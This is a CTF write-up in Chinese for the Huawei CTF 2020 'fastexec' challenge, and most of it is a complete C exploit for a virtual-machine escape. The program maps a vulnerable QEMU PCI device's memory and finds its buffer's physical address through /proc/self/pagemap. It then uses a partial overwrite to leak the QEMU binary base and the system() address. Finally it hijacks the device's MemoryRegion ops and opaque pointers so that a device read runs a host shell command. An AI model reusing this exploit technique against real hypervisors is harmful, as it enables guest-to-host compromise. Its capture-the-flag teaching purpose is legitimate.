0%

华为CTF2020第一场_fastexec

在设备的write函数里,存在任意地址读写,但是仅能写一次,也不能泄露

可以考虑低字节写opaque,使得opaque设备对象向上移动,在内存里找到合适位置,使得opaque->execed为0,而其他字段有内容,这样,这可以利用设备的read函数,读取字段便可以泄露地址,而且由于opaque->execed为0,我们还可以再次进行任意地址写。

最后,我们可以劫持设备MemoryRegion里的ops和opaque,其中ops为虚表,我们劫持到可控区,opaque为rdi,可以作为参数,最后调用设备read即可触发。由于本题是低字节覆盖,因此需要爆破4bit,多次几次就可以成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>


#define PFN_MASK ((((size_t)1)<<54)-1)

char *mmio;
/*我们程序的缓冲在虚拟机里对应的物理地址*/
size_t buffer_phys_addr;
char *buffer;

void die(char *msg) {
perror(msg);
exit(-1);
}
//写设备内存
void mmio_write(uint64_t addr,uint64_t val) {
*((uint64_t *)(mmio + addr)) = val;
}

//读设备内存
uint64_t mmio_read(uint64_t addr) {
return *((uint64_t *)(mmio + addr));
}

void setPhyAddr(uint64_t val) {
mmio_write(24,val);
}

void setPos(uint64_t val) {
mmio_write(8,val);
}

void setLength(uint64_t val) {
mmio_write(16,val);
}


void mem_read_write(uint64_t phyAddr,uint64_t pos,uint64_t length) {
setPhyAddr(phyAddr);
setPos(pos);
setLength(length);
mmio_write(32,63021);
}

size_t get_phys_addr(char *vir_addr) {
int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
if (fd == -1) {
die("open pagemap error");
}
size_t vir = (size_t)vir_addr;
// /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移
size_t offset = vir / 0x1000 * 8;
if (lseek(fd,offset,SEEK_SET) == -1) {
die("lseek pagemap error");
}
size_t addr;
if (read(fd,&addr,8) != 8) {
die("read pagemap error");
}
addr = (addr & PFN_MASK) * 0x1000;
return addr;
}


int main(int argc,char ** argv) {
//打开设备
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
if (fd == -1) {
die("open device error");
}
//映射设备内存
mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio == MAP_FAILED) {
die("mmap device memory error");
}
/*映射一块缓冲区*/
buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
if (buffer == MAP_FAILED) {
die("mmap local buffer error");
}
//必须锁住内存,才能准确获得物理地址
mlock(buffer, 0x1000);
//获得buffer的物理映射地址
buffer_phys_addr = get_phys_addr(buffer);
printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr);
size_t *d = (size_t *)buffer;
//将FastexecState *上移
size_t low = 0xf010 - 0x88;
buffer[0] = low & 0xff;
low = low >> 0x8;
buffer[1] = low & 0xff;
mem_read_write(buffer_phys_addr,-0xC0,0x2);
size_t elf_base = mmio_read(16) - 0x31bd40;
size_t system_addr = elf_base + 0x2C2180;
printf("elf_base=0x%lx\n",elf_base);
printf("system_addr=0x%lx\n",system_addr);

low = 0xf010 - 0x48;
buffer[0] = low & 0xff;
low = low >> 0x8;
buffer[1] = low & 0xff;
mem_read_write(buffer_phys_addr,-0x38,0x2);
//getchar();
size_t obj_addr = mmio_read(0x8) - 0x998;
printf("obj_addr=0x%lx\n",obj_addr);

d[0] = obj_addr + 0x948;
d[1] = obj_addr + 0x950;
d[2] = system_addr;
char cmd[0x100] = "cat ";
char *f = argv[1];
int len = strlen(f);
strcat(cmd,f);
cmd[strlen(cmd)] = 0;

//劫持设备对象
memcpy(buffer+0x18,cmd,strlen(cmd)+1);
mem_read_write(buffer_phys_addr,-0x80,0x18 + strlen(cmd)+1);

//getchar();
//getshell
mmio_read(0x666);
return 0;
}